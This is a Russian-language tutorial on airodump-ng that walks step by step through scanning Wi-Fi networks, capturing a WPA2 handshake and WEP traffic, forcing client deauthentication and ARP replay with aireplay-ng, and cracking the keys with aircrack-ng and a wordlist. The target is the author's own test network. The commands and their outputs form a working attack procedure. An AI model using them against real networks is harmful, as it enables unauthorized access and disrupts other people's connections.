Команда airodump-ng

Команда airodump-ng позволяет задействовать одноименную утилиту для прослушивания и захвата Wi-Fi трафика. По сути, она обрабатывает все принимаемые адаптером пакеты данных беспроводных сетей, выводит информацию о параметрах этих сетей и может сохранять на диск данные, необходимые для подбора ключей к этим сетям. Для корректной работы утилиты необходим Wi-Fi адаптер с поддержкой режима мониторинга (Monitor mode). Активация режима мониторинга может быть осуществлена с помощью сценария командной оболочки airmon-ng, поставляемого в комплекте с рассматриваемой утилитой в рамках пакета утилит aircrack-ng для аудита безопасности беспроводных сетей. Не стоит забывать о том, что для работы с аппаратным обеспечением ПК необходимы права суперпользователя.

Базовый синтаксис команды выглядит следующим образом:

# airodump-ng [параметры] имя-интерфейса

Команда может вызываться без параметров, но передача имени сетевого интерфейса, соответствующего Wi-Fi адаптеру, является необходимым условием. В случае отсутствия параметров утилита выведет список сетей, данные из которых способен захватить беспроводной адаптер. Среди важных параметров следует выделить параметр -w, позволяющий задать префикс для создаваемых файлов с данными для подбора ключей, параметр -f, позволяющий задать время перехода между беспроводными каналами, параметры --manufacturer, --uptime и --wps для вывода информации о производителе оборудования беспроводной сети, времени его работы и наличия поддержки технологии wps соответственно, параметры --encrypt, --bssid, --essid, --essid-regex для отображения сетей с указанными технологией шифрования, MAC-адресом, именем и шаблоном имени соответственно, параметры --ht20, --ht40-, --ht40+ для использования режимов работы HT20, HT40- и HT40+ соответственно, а также параметры --channel и --band для указания конкретных каналов и диапазонов для сканирования. Существует и ряд других параметров, которые могут использоваться опытными пользователями утилиты.

Вывод утилиты представлен в формате таблицы. В поле BSSID выводится MAC-адрес точки доступа, в поле PWR — уровень сигнала в dB, в поле Beacons — количество принятых «маячков», в поле #Data — количество принятых пакетов данных (#/s — количество пакетов в секунду), в поле CH — номер канала беспроводной сети, в поле MB — максимальная скорость передачи данных для установленного режима работы точки доступа, в поле ENC — технология защиты передаваемых данных, в поле CIPHER — используемый алгоритм шифрования, в поле AUTH — используемый механизм аутентификации, а в поле ESSID — имя сети.

Заголовок таблицы состоит из четырех полей. В первом поле выводится номер сканируемого в данный момент канала, во втором — прошедшее время с начала сканирования, в третьем — текущее время, в четвертом — сообщения о захвате важных данных.

Под таблицей размещается список MAC-адресов обнаруженных беспроводных клиентов с MAC-адресами точек доступа, к которым они подключены.

Установка утилит

В первую очередь вам придется установить пакет утилит aircrack-ng; проще всего это сделать с помощью терминала путем исполнения соответствующей вашему дистрибутиву команды.

Команды для Linux Mint и Ubuntu:

# apt install aircrack-ng

Команда для Fedora Workstation:

# dnf install aircrack-ng

Примеры использования

Сканирование беспроводных сетей

Перед сканированием беспроводных сетей необходимо перевести Wi-Fi адаптер в режим мониторинга с помощью сценария airmon-ng:

# airmon-ng start wlx003676021e61
Found 4 processes that could cause trouble.
Kill them using 'airmon-ng check kill' before putting
the card in monitor mode, they will interfere by changing channels
and sometimes putting the interface back in managed mode
    PID Name
    915 avahi-daemon
    918 NetworkManager
    970 wpa_supplicant
    974 avahi-daemon
PHY Interface Driver Chipset
phy3 wlx003676021e61 mt7601u Ralink Technology, Corp. MT7601U
    (monitor mode enabled)

Адаптер переведен в режим мониторинга. Теперь можно начать сканирование беспроводных сетей, вызвав утилиту airodump-ng без параметров, но передав ей имя сетевого интерфейса, соответствующего Wi-Fi адаптеру:

# airodump-ng wlx003676021e61
CH 5 ][ Elapsed: 3 mins ][ 2023-05-24 17:49

BSSID              PWR  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID

00:27:22:34:56:09  -14      124        9    0   3  130   WPA2 CCMP   PSK  cheries
00:90:4C:C1:00:00  -35      147       26    0   1   54e. WPA2 CCMP   PSK  testnetwork
98:48:27:EE:03:4F  -62      130        0    0   8  130   WPA2 CCMP   PSK  TP-LINK_BB730F

BSSID              STATION            PWR   Rate    Lost    Frames  Notes  Probes

(not associated)   00:0C:E7:1C:62:46  -54    0 - 1     0         1
00:90:4C:C1:00:00  CC:73:14:06:34:20  -42    0 - 1     0        48

Quitting...

Обнаружено три точки доступа. Мы будем работать с специально созданной сетью под названием testnetwork. Из вывода также ясно, то к этой сети подключен клиент.

Для получения дополнительной информации следует передать утилите параметры --wps, --manufacturer и --uptime:

# airodump-ng --wps --manufacturer --uptime wlx003676021e61
CH 7 ][ Elapsed: 30 s ][ 2023-05-24 17:54

BSSID              PWR  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH         UPTIME WPS    ESSI           MANUFACTURER

00:27:22:34:56:09  -18       21        0    0   3  130   WPA2 CCMP   PSK    22d 00:45:37 0.0    cheries        Ubiquiti Networks Inc.
00:90:4C:C1:00:00  -35       23        2    0   1   54e. WPA2 CCMP   PSK     0d 00:08:00 1.0    testnetwork    Epigram, Inc.
98:48:27:EE:03:4F  -61       22        0    0   8  130   WPA2 CCMP   PSK     1d 00:32:56 1.0    TP-LINK_BB730F TP-LINK TECHNOLOGIES CO.,LTD.

BSSID              STATION            PWR   Rate    Lost    Frames  Notes  Probes

Quitting...

В выводе появились следующие столбцы: UPTIME с временем работы точки доступа, WPS с используемой версией технологии WPS и MANUFACTURER с названием компании-производителя точки доступа.

Если вас интересует один канал, вы можете использовать параметр -c:

# airodump-ng -c 1 wlx003676021e61
CH 1 ][ Elapsed: 0 s ][ 2023-05-24 17:54

BSSID                PWR RXQ  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID

00:90:4C:C1:00:00    -34 100       37        4    0   1   54e. WPA2 CCMP   PSK  testnetwork

BSSID                STATION            PWR   Rate    Lost    Frames  Notes  Probes

Quitting...

В этом случае утилита не будет переключаться по каналам. Аналогичным образом можно указать MAC-адрес интересующей точки доступа.

# airodump-ng --bssid 00:90:4C:C1:00:00 wlx003676021e61
CH 7 ][ Elapsed: 0 s ][ 2023-05-24 17:56

BSSID              PWR  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID

00:90:4C:C1:00:00  -35        7        2    0   1   54e. WPA2 CCMP   PSK  testnetwork

BSSID              STATION            PWR   Rate    Lost    Frames  Notes  Probes

Quitting...

Вывод аналогичен, за исключением того, что в данном случае утилита сканирует все каналы диапазона.

Захват данных для подбора ключа к сети с WPA/WPA2

В случае сети с современной технологией защиты WPA/WPA2 нужно захватить данные рукопожатия, передаваемые в процессе подключения клиента к точке доступа. Для захвата этих данных достаточно указать префикс для записываемых на диск файлов с помощью параметра -w. Мы укажем в качестве префикса полный путь к директории для таких файлов. Кроме того, необходимо указать MAC-адрес интересующей нас точки доступа с помощью параметра --bssid и канал, на котором работает точка доступа, с помощью параметра -c.

# airodump-ng -c 1 --bssid 00:90:4C:C1:00:00 -w /home/alex/wlan/testnetwork wlx003676021e61
CH 1 ][ Elapsed: 2 mins ][ 2023-05-25 00:28 ][ WPA handshake: 00:90:4C:C1:00:00

BSSID             PWR RXQ  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID

00:90:4C:C1:00:00 -49 100     1588      372   12   1   54e. WPA2 TKIP   PSK  testnetwork

BSSID             STATION            PWR   Rate    Lost    Frames  Notes  Probes

00:90:4C:C1:00:00 CC:73:14:06:34:20  -34   54e- 1   106     28008  EAPOL
Quitting...

К точке доступа подключен клиент, что в данном случае является необходимым условием. Для того, чтобы захватить интересующие нас данные, необходимо спровоцировать повторное установление соединения клиента с точкой доступа, воспользовавшись утилитой aireplay-ng в отдельном от airodump-ng окне терминала. Данная утилита позволяет генерировать подставной запрос на деаутентификацию от клиента при использовании следующим образом:

# aireplay-ng --deauth 0 -a MAC-адрес-точки-доступа -c MAC-адрес-клиента имя-интерфейса

В нашем случае команда будет выглядеть следующим образом:

# aireplay-ng --deauth 0 -a 00:90:4C:C1:00:00 -c CC:73:14:06:34:20 wlx003676021e61
00:25:52  Waiting for beacon frame (BSSID: 00:90:4C:C1:00:00) on channel 1
00:25:52  Sending 64 directed DeAuth (code 7). STMAC: [CC:73:14:06:34:20] [ 0|63 ACKs]
00:25:53  Sending 64 directed DeAuth (code 7). STMAC: [CC:73:14:06:34:20] [ 2|64 ACKs]
00:25:53  Sending 64 directed DeAuth (code 7). STMAC: [CC:73:14:06:34:20] [19|63 ACKs]
00:25:54  Sending 64 directed DeAuth (code 7). STMAC: [CC:73:14:06:34:20] [ 0|63 ACKs]
00:25:54  Sending 64 directed DeAuth (code 7). STMAC: [CC:73:14:06:34:20] [ 0|64 ACKs]
00:25:55  Sending 64 directed DeAuth (code 7). STMAC: [CC:73:14:06:34:20] [ 4|66 ACKs]
00:25:55  Sending 64 directed DeAuth (code 7). STMAC: [CC:73:14:06:34:20] [ 0|64 ACKs]
00:25:56  Sending 64 directed DeAuth (code 7). STMAC: [CC:73:14:06:34:20] [ 0|64 ACKs]
00:25:57  Sending 64 directed DeAuth (code 7). STMAC: [CC:73:14:06:34:20] [ 0|64 ACKs]
00:25:57  Sending 64 directed DeAuth (code 7). STMAC: [CC:73:14:06:34:20] [ 0|64 ACKs]
^C

Не стоит усердствовать с отправкой запросов. После отправки их ограниченного количества следует завершить работу утилиты aireplay-ng и убедиться в том, что данные рукопожатия захвачены. Об этом говорит сообщение WPA handshake: 00:90:4C:C1:00:00 в заголовке таблицы, выводимой утилитой airodump-ng. Необходимые данные будут сохранены в файле в заданной директории и с заданным префиксом; это несложно проверить:

$ ls /home/alex/wlan/
testnetwork-01.cap testnetwork-01.csv testnetwork-01.kismet.csv testnetwork-01.kismet.netxml testnetwork-01.log.csv

Для подбора пароля понадобится лишь файл с расширением .cap, словарь с возможными паролями и утилита aircrack-ng. Разумеется, подбор займет много времени, а если пароля не окажется в словаре, еще и не закончится ничем продуктивным. Тем не менее, я точно знаю, что пароль, установленный на тестовой точке доступа, достаточно простой и точно имеется в стандартном словаре Kali Linux. Этот словарь бесплатен и доступен по данной ссылке.

Подробнее об упомянутой утилите для подбора паролей будет сказано в следующей статье, сейчас же просто попробуем передать ей полученный файл.

$ aircrack-ng /home/alex/wlan/testnetwork-01.cap -w /home/alex/rockyou.txt


                                   Aircrack-ng 1.6


     [01:28:34] 13068666/14344391 keys tested (2498.14 k/s)

     Time left: 8 minutes, 30 seconds                          91.11%

                         KEY FOUND! [ 1A2B3C4D5E ]


         Master Key : 8C 5D CF 61 CB 4D FE E1 51 A8 8F 6D 9E 01 31 59
                      9D E5 46 8B AC EC 14 E2 BC C6 4E 86 DF 1C 2B 12

      Transient Key : 91 F7 8C EB 3F 8B EA A1 3F 89 B3 24 58 EF 84 F5
                      C3 DE E1 ED 51 43 F2 77 90 56 DA FC 10 32 F1 04
                      06 EF E8 49 9B A2 3F 89 51 67 7D 00 00 00 00 00
                      00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

         EAPOL HMAC : ED 9C E3 65 AC F4 1C 30 5A A0 5F 11 02 8A 85 26

На подбор ключа ушло почти полтора часа при учете того, что ключ был крайне простым.

Захват данных для подбора ключа к сети с WEP

В случае сети с устаревшей технологией защиты WEP все с одной стороны проще, с другой — сложнее. Простота заключается в том, что для гарантированного подбора пароля нужно захватить как можно больше служебных данных (векторов инициализации), передаваемых между клиентом и точкой доступа, сложность — в том, что сегодня найти сети с подобной технологией защиты практически невозможно. Захват этих служебных данных происходит точно так же, как и в случае с WPA/WPA2 — достаточно указать префикс для записываемых на диск файлов с помощью параметра -w. Мы укажем в качестве префикса полный путь к использованной ранее директории для этих файлов. Кроме того, также необходимо указать MAC-адрес интересующей нас точки доступа с помощью параметра --bssid и канал, на котором работает точка доступа, с помощью параметра -c.

# airodump-ng -c 1 --bssid 00:90:4C:C1:00:00 -w /home/alex/wlan/testnetwork wlx003676021e61

CH 1 ][ Elapsed: 3 mins ][ 2023-05-25 00:16

BSSID              PWR RXQ  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID

00:90:4C:C1:00:00  -40 100     1291    36686    1   1   54e. WEP  WEP         testnetwork

BSSID              STATION            PWR   Rate    Lost    Frames  Notes  Probes

00:90:4C:C1:00:00  CC:73:14:06:34:20  -42   11e- 1   965     78522
Quitting...

К точке доступа подключен клиент — это нам и нужно (в отличие от ситуации с WPA/WPA2, подбор ключа может быть осуществлен и без подключенных клиентов, но процедура значительно усложнится). Для того, чтобы захватить интересующие нас данные, необходимо сгенерировать поток служебного трафика, воспользовавшись утилитой aireplay-ng в отдельном от airodump-ng окне терминала. Данная утилита позволяет генерировать подставной служебный трафик от клиента при использовании следующим образом:

# aireplay-ng -3 -b MAC-адрес-точки-доступа -h MAC-адрес-клиента имя-интерфейса

В нашем случае команда будет выглядеть следующим образом:

# aireplay-ng -3 -b 00:90:4C:C1:00:00 -h CC:73:14:06:34:20 wlx003676021e61
The interface MAC (00:36:76:02:1E:61) doesn't match the specified MAC (-h).
    ifconfig wlx003676021e61 hw ether CC:73:14:06:34:20
00:12:57 Waiting for beacon frame (BSSID: 00:90:4C:C1:00:00) on channel 1
Saving ARP requests in replay_arp-0525-001257.cap
You should also start airodump-ng to capture replies.
Read 146152 packets (got 66233 ARP requests and 47765 ACKs), sent 51890 packets...(499 pps)
^C

Нужно отправить примерно 50000 специальных пакетов; в нашем случае было оправлено 51890 пакетов. Захваченные файлы будут сохранены в уже знакомой директории — это несложно проверить:

$ ls /home/alex/wlan/
testnetwork-01.cap            testnetwork-01.log.csv     testnetwork-02.kismet.netxml
testnetwork-01.csv            testnetwork-02.cap         testnetwork-02.log.csv
testnetwork-01.kismet.csv     testnetwork-02.csv
testnetwork-01.kismet.netxml  testnetwork-02.kismet.csv

Для подбора пароля также понадобится лишь файл с расширением .cap и утилита aircrack-ng — словаря с паролями не нужно, ведь в случае наличия достаточного объема данных ключ будет подобран в любом случае. Подбор должен занять не так много времени, как в случае с WPA/WPA2. Попробуем передать утилите полученный файл.

$ aircrack-ng /home/alex/wlan/testnetwork-02.cap
                                     Aircrack-ng 1.6 
                       [00:00:00] Tested 857 keys (got 36518 IVs)
   KB    depth   byte(vote)
    0    3/  8   F0(43776) 17(42752) 3A(42752) 7A(42752) 61(42496) 8C(41984) 
    1    1/  3   01(45056) 18(44288) BD(43776) 11(43264) 23(43264) 31(43264) 
    2    7/  2   6A(42752) 77(42496) D9(42496) 00(42240) 1C(41728) C2(41728) 
    3   28/  3   D9(40192) 0F(39936) 46(39936) 68(39936) AA(39936) B4(39936) 
    4    0/  1   DE(52736) 2A(46080) 67(45568) D9(44032) 70(43776) 95(43776) 
     KEY FOUND! [ 74:65:73:74:70:61:73:73:77:6F:72:64:21 ] (ASCII: testpassword! )
        Decrypted correctly: 100%

Ключ был подобран за несколько секунд. Единственной проблемой в данном случае мог стать недостаточный объем захваченных данных.